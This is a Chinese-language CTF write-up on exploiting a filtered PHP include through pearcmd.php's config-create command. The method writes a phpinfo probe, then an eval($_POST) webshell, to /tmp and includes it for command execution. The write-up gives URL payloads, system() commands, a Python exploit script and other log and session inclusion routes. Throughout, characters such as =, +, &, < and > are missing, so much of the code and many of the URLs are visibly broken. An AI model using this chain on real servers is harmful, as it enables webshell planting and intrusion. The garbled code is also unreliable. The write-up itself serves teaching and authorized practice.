LFI绕过与pearcmd.php利用:从文件包含到命令执行通关详解

📅 发布时间:2026/10/19 10:21:31
LFI绕过与pearcmd.php利用:从文件包含到命令执行通关详解
萌新Web22这道题我第一眼看到的时候其实有点懵。题目核心就是一句话include函数有过滤flag就躺在服务器某个目录里直接读读不到伪协议也被ban最后绕了一圈靠pearcmd.php这个平时根本不会多看一眼的PHP自带文件硬生生把include限制绕了过去把flag拿到了手。这篇文章适合刚入门CTF Web、正在被本地文件包含折磨的同学。哪怕你还不熟悉pearcmd.php甚至从来没听过PEAR只要跟着走一遍信息收集、参数构造、写入文件、包含执行这条链路就能明白这类题为什么会有“一个自带文件救全场”的解法。我会把每一步的坑和原理都拆开讲尽量让你不只是抄payload而是能自己推导出答案。1. 题目概述与思路拆解1.1 看似普通的include参数打开题目代码基本是这种画风error_reporting(0); if (isset($_GET[file])) { $file $_GET[file]; // 过滤了一些东西 include($file); } else { highlight_file(__FILE__); }file参数直接进include这是标准的本地文件包含点。萌新第一反应肯定是试伪协议比如?filephp://filter/readconvert.base64-encode/resourceindex.php ?filedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8 ?filehttp://127.0.0.1/shell.txt但在这道题里这些路子基本全被堵死。伪协议关键字被过滤远程包含也被过滤等于告诉你别想着偷源码也别想从外部拉文件进来老老实实在目标机器上想办法。如果只是这样那题目就退化成了“文件读取”直接?file/etc/passwd也许能看系统文件。但要拿flag往往需要先找到flag的文件名或者需要执行命令来读。所以这道题真正的隐藏需求是利用include点想办法获得“命令执行能力”。1.2 为什么直接找flag行不通很多人会试?file/flag或者?file/flag.php但结果一般分三种文件不存在页面只是warning什么都没输出。文件存在但内容被PHP解析了输出一段空白。flag不在根目录文件名也不是flag。更重要的是就算你知道flag在/flag如果直接include它它可能是一段普通文本放在.php后缀的上下文里不一定原样打印。而如果你不知道flag的具体路径还需要ls、find去翻目录这又回到了“需要命令执行”的问题。所以这类题的破局点不是一味尝试直接读文件而是先问自己一个问题include虽然被限制但它能包含任意已存在的本地文件那我能不能借这个include点让目标机器自己生成一个“我能利用的文件”1.3 真正的通关思路先写文件再包含文件当你把思路从“读文件”切换到“写文件”这道题就豁然开朗了。本地文件包含LFI真正可怕的地方不只是能读文件而是能和服务器上任意“可控写入点”配合形成代码执行链路。常见的可控写入点有访问日志文件包含session文件包含/proc/self/environ包含临时上传文件包含pearcmd.php参数注入写文件这道题选中的是最后一个。目标环境里有PHP自带的pearcmd.php并且开启了一个叫register_argc_argv的PHP配置于是我们可以通过URL参数让pearcmd.php执行一个“写文件”的命令把一个包含PHP代码的文件写到/tmp下。然后再用include包含这个文件代码就被执行了。一句话概括既然include被限制得只剩“包含本地文件”这一条路那我就创造一个本地文件出来。2. pearcmd.php为什么能救命2.1 它到底是干什么的pearcmd.php是PHP的PEAR包管理器的命令行入口文件。PEAR是PHP官方生态里的扩展和应用库管理工具类似Linux里的apt、yum平时在命令行里用pear install、pear upgrade之类的命令管理PHP扩展。因为它是给命令行用的所以它天然支持解析命令行参数。如果你在服务器上执行php /usr/share/php/pearcmd.php config-create / tmp/evil.php它就会生成一个文件。这本来没什么问题但危险就危险在这个文件在Web环境中也能被直接访问到而且它解析参数的方式并不区分参数是来自“真的命令行”还是“URL查询字符串”。你可以这么理解pearcmd.php就像一个公告栏管理员本来只负责把黑板上的通知抄写到纸上。结果你来了一看没锁门你直接拿起粉笔在黑板上写了一段话管理员就把你这段话原封不动抄进了一张.php纸里。这张纸最后还被你拿走了。2.2 怎么让PEAR误以为自己在命令行运行这里的关键配置是register_argc_argv。当这个配置为On时PHP会把URL查询字符串里的参数解析成命令行参数风格。平时我们访问http://target/pearcmd.php?a1b2PHP只会把a、b当成普通GET参数。但如果register_argc_argvOn脚本里可以通过$_SERVER[argv]拿到类似命令行的参数列表而且URL里的号会被还原成空格。所以如果构造这样的URLhttp://target/?file/usr/share/php/pearcmd.phpconfig-create/?phpinfo()?/tmp/probe.php在pearcmd.php看来它接收到的参数就约等于php pearcmd.php config-create /?phpinfo()? /tmp/probe.php注意这里的在URL里是空格的意思所以config-create最终会被解析成“ config-create ”这样带空格的参数串。PEAR的命令行解析器会把config-create当成子命令把后面两段当成参数一段是写入内容一段是目标文件路径。config-create原本的用途是生成一个PEAR配置文件但它会把传入的root path写到配置文件里。而我们传进去的root path正好带PHP代码所以生成的文件里就残留了可以执行的PHP片段。2.3 利用条件自查表不是所有LFI都能用pearcmd.php这招成立需要几个条件缺一不可。我整理了一张表条件说明判断方法存在pearcmd.php常见路径/usr/share/php/pearcmd.php、/usr/local/lib/php/pearcmd.php等逐个include看是否有PEAR相关输出register_argc_argvOn决定URL参数能否被PEAR当作命令行参数写入文件成功基本就能证明有可写目录/tmp通常默认可写写入后include看文件是否存在include能包含到pearcmd.php过滤规则不能拦住路径中的pearcmd.php如果拦php关键字就麻烦需要另想编码或路径方式多数CTF题目会把环境配置成“PEAR文件存在可写目录正常register_argc_argv开启”的状态否则这题就失去意义了。你需要做的就是先探测pearcmd.php在哪里然后开始写入。3. 完整通关实操3.1 信息收集与路径探测拿到题目后我习惯先用几个经典路径试探include点?file/etc/passwd ?file/proc/self/environ ?file/usr/share/php/pearcmd.php如果/etc/passwd直接输出文件内容说明include没有做绝对路径限制只是过滤了伪协议关键字。这是好消息。接下来重点看pearcmd.php在哪。不同Linux发行版、不同PHP安装方式路径差得很多。我实战中遇到比较多的路径是/usr/share/php/pearcmd.php/usr/local/lib/php/pearcmd.php/usr/lib/php/pearcmd.php/usr/local/share/php/pearcmd.php逐个请求例如?file/usr/share/php/pearcmd.php如果页面出现类似“PEAR”或命令帮助相关内容说明路径正确。如果只是Warning: include(): Failed opening那就说明文件不存在继续换下一个路径。还有一个技巧当你include一个不存在的文件页面会暴露路径信息比如warning里可能出现真实web目录这样你就能反推PEAR可能装在什么位置。3.2 先写入探针文件不要急着写shell很多新手一上来就直接写一句话木马然后include发现不执行就开始乱撞。我自己的习惯是先写一个最轻量的探针进去验证“写入包含执行”整条链路通不通再上真正的payload。所谓探针就是最简单的PHP代码比如?phpinfo()?。phpinfo()一旦执行页面会输出大量PHP配置信息极其显眼。先构造URL/?file/usr/share/php/pearcmd.phpconfig-create/%3C%3F%3Dphpinfo()%3B%3F%3E/tmp/probe.php这里我手动把关键字符做了URL编码编码成%3C编码成%3E?编码成%3F。因为如果在URL里直接写??会被当成查询参数分隔符整个payload会碎掉。请求完这个URL后再请求/?file/tmp/probe.php如果页面刷出phpinfo说明两条路都通了pearcmd.php成功把代码写进了/tmp/probe.phpinclude可以包含/tmp/probe.php并执行其中的PHP代码看到phpinfo那个熟悉的表格时基本上就成功一半了。3.3 从探针到命令执行探针通了就可以换成一句话代码用POST参数执行命令。我常用的是这样一个写入payloadconfig-create/?eval($_POST[x]);?/tmp/shell.phpURL编码后大概是/?file/usr/share/php/pearcmd.phpconfig-create/%3C%3F%3D%40eval(%24_POST%5B%27x%27%5D)%3B%3F%3E/tmp/shell.php请求完这个写入URL再用POST方式请求POST /?file/tmp/shell.php Body: xsystem(ls /);如果看到根目录文件列表说明已经拿到命令执行。接下来就是找flagxsystem(find / -name *flag* 2/dev/null); xsystem(cat /flag);有些题目flag文件名不叫flag可能是flag_is_here、f1ag.php之类的。用find扫一遍最稳。完整的Python利用脚本大概是这样的import requests base http://target/ # 第一步写shell到 /tmp/shell.php write_payload /?file/usr/share/php/pearcmd.phpconfig-create/%3C%3F%3D%40eval(%24_POST%5B%27x%27%5D)%3B%3F%3E/tmp/shell.php requests.get(base write_payload) # 第二步包含shell并执行命令 shell_url base /?file/tmp/shell.php r requests.post(shell_url, data{x: find / -name *flag* 2/dev/null}) print(r.text)注意实际题目环境中可能要对write_payload再做一次URL编码因为、/、?在不同请求工具里的处理方式不一样。用Python的urllib.parse.quote来编码更安全这里为了直观展示我先用简化写法。3.4 读取flag与收尾拿到flag后我习惯顺手把写在/tmp下的探针和shell文件清理掉。虽然CTF靶机不差这一下但养成习惯没坏处尤其是以后在真实授权测试里收尾是专业性的体现。清理命令xsystem(rm -f /tmp/probe.php /tmp/shell.php);然后确认一下flag内容记录截图这道题就算通关了。4. 常见问题与排查技巧4.1 文件写进去了但include就是不执行这个坑我踩过好几次常见原因有几个第一路径没写对。你写入的目标是/tmp/shell.php但include的时候路径写成了/tmp/shell.php或者带上了当前目录前缀导致包含失败。注意看响应里的Warning提示它会明确告诉你到底去读了哪个路径。第二PHP标签被吃掉了。如果写入的代码是?php ... ?而目标环境的short_open_tag设置正常那没问题但如果你用了?短标签而PHP版本较老、短标签被关闭代码就不会执行。所以我建议直接用?这个写法从PHP 5.4开始默认始终可用基本不会踩雷。第三写入的内容被PEAR的配置格式干扰。config-create生成的文件开头是一堆注释和配置项恶意代码会在文件中间。这其实不影响执行因为PHP是混排模式只要出现?就会进入PHP解析前面的普通文本会被原样输出但代码能执行。如果发现页面输出了大量配置内容却没有执行效果那多半是PHP代码本身写错了不是格式干扰。4.2 payload的URL编码被坑浏览器地址栏和Burp对、?、的处理差别很大。直接在浏览器里粘贴带?的payload浏览器会把?理解为参数分隔后面的代码直接没了。我的建议是用Burp的Repeater来发请求可控性最强。用Python requests脚本避免浏览器自作聪明。如果非要在浏览器里测先把特殊字符编码。常见的URL编码速查表原字符URL编码原因%20或保留在query中会被解析为空格%3C防过滤/防解析问题%3E同上?%3F不编码会被当成参数分隔符%27防止引号被转义或解析%26不编码会被当成参数分隔符$%24防止变量被解析/%2F通常可保留但严谨场景建议编码我自己在实际操作时会把整个config-create那一段单独编码而不是只编码个别字符。这样可以最大程度避免“莫名其妙的payload断了”这种问题。4.3 pearcmd.php路径探测失败如果所有常见路径都试过了仍然找不到pearcmd.php先别急着换思路。检查一下你include时是不是被过滤规则拦截了。有些题目的过滤规则会拦掉php关键字那pearcmd.php这个路径本身就带php直接被拍死。这种情况不能硬撞可以试试大小写、目录穿越、二次编码这些绕法但成功率不好说。如果环境里确实没有安装PEAR那这条思路就断了。此时可以考虑其他写文件入口比如让服务器把User-Agent写进访问日志再包含日志文件。预先上传一个临时文件再在文件被删除前include它。通过session文件包含往session里写入payload再包含session文件。这些思路的终点和pearcmd是一样的都是“把自己的代码变成服务器上的一个文件然后让include去读它”。4.4 别把思路用错地方pearcmd.php这个技巧在CTF里是经典考点但它也是真实Web安全研究中的常见议题。正因为它能直接写文件、获取代码执行所以在任何真实系统上尝试之前都必须明确两点一是你有合法授权二是在独立的靶场或自己搭的实验环境里验证。未经授权测试任何系统都是违法的CTF题目里的flag和授权环境才是这类技巧的正确使用场景。我在写这篇通关实录时所有payload的验证也都是基于模拟的靶机环境大家学习时可以拿本地php -S搭个环境练手但不要对着生产环境乱试。再分享一个小技巧如果你在自己电脑上搭环境练习这个payload可以把PHP配置里的register_argc_argv打开再装一下PEAR组件然后把pearcmd.php放在web可访问的目录。这样你就能完整复现这道题的链路。多复现几次你就会对“LFI不只是读文件更是写文件”这句话有特别深的体会。之后遇到类似的include题目第一反应就不会只是php://filter了。